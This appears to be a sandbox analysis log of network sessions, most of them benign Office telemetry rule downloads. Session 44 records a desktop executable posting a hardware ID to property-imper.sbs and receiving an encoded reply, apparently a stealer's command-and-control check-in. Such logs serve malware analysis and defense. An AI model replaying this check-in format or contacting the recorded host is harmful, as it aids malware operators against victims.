2024-11-24 04:11:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:35 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 375df28d-601e-00ab-5b0b-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041135Z-178bfbc474bpscmfhC1NYCfc2c000000042g000000004sq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:35 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:37 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:37 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 917a58a9-c01e-0066-7448-3da1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041137Z-15b8b599d88f9wfchC1TEBm2kc00000003y000000000kg3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:37 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:37 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 242b2616-d01e-0017-014e-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041137Z-15b8b599d88f9wfchC1TEBm2kc00000003z000000000ff2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:37 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:37 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e805473a-a01e-0084-650a-3e9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041137Z-178bfbc474bpscmfhC1NYCfc2c000000041000000000a9uz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:11:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:37 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:37 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 2160d4c7-701e-0021-5913-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041137Z-178bfbc474bbcwv4hC1NYCypys000000057000000000exh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:37 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:37 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:37 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041137Z-174c587ffdfx984chC1TEB676g0000000400000000002e9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:37 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49756	104.21.33.116	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:39 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-24 04:11:39 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 35 41 46 45 44 38 41 38 43 46 38 42 41 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=95AFED8A8CF8BAD4D7CBBD6DF28D3732
2024-11-24 04:11:39 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l3mkk6ujtfvdnd20tg13384vu7; expires=Wed, 19-Mar-2025 21:58:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q%2FwToSba9ErAoZGeurxRd1hEfl4YaMVeWtKQz123VEsVh4u3dVHt2GrjaBZTz7IhEKahk%2BVL5aKPrbtjH8Vbjd0Ma%2B10g69YhuUjI4AmVot9dDcex1dXw%2F7sd5%2BBPQtKLtvB0vU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e768e63e8bd41e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1593016&cwnd=238&unsent_bytes=0&cid=30e802a3512d1891&ts=739&x=0"
2024-11-24 04:11:39 UTC	214	IN	Data Raw: 64 30 0d 0a 38 57 4b 37 6f 76 68 72 78 66 4e 6a 4e 31 34 43 4f 59 6c 64 4b 58 34 56 50 53 75 6e 30 77 43 59 55 41 38 5a 6e 35 2b 56 38 38 47 71 47 5a 6e 58 32 6c 48 6e 6d 78 64 44 4c 6a 68 6c 70 67 45 47 54 79 30 49 42 5a 58 69 4e 62 5a 68 50 69 71 78 72 71 4f 76 37 70 34 45 33 66 37 58 44 36 43 56 54 56 49 6d 5a 78 75 6c 66 30 38 4b 4e 77 63 62 69 2f 46 6c 75 6d 6f 2b 5a 4c 50 6b 74 34 62 6a 79 30 44 54 31 6f 77 62 2f 36 39 4d 61 33 45 7a 41 62 78 7a 47 30 38 67 45 78 71 57 34 43 36 70 5a 6c 4d 32 37 4f 76 77 6b 71 79 74 54 63 6e 44 6c 67 2b 71 6e 6b 31 53 4a 6d 63 62 70 58 39 50 43 6a 63 48 47 34 76 78 5a 62 70 71 50 32 54 43 0d 0a Data Ascii: d08WK7ovhrxfNjN14COYldKX4VPSun0wCYUA8Zn5+V88GqGZnX2lHnmxdDLjhlpgEGTy0IBZXiNbZhPiqxrqOv7p4E3f7XD6CVTVImZxulf08KNwcbi/Flumo+ZLPkt4bjy0DT1owb/69Ma3EzAbxzG08gExqW4C6pZlM27OvwkqytTcnDlg+qnk1SJmcbpX9PCjcHG4vxZbpqP2TC
2024-11-24 04:11:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:39 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:39 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041139Z-178bfbc474bv587zhC1NYCny5w000000057000000000hpsa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:39 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:39 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: b7a4c0f2-401e-0064-554c-3c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041139Z-15b8b599d88wn9hhhC1TEBry0g000000042g000000000hxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:39 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:39 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041139Z-178bfbc474bh5zbqhC1NYCkdug00000005eg000000002f59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:39 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:39 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041139Z-174c587ffdfb485jhC1TEBmc1s00000003qg00000000eter x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
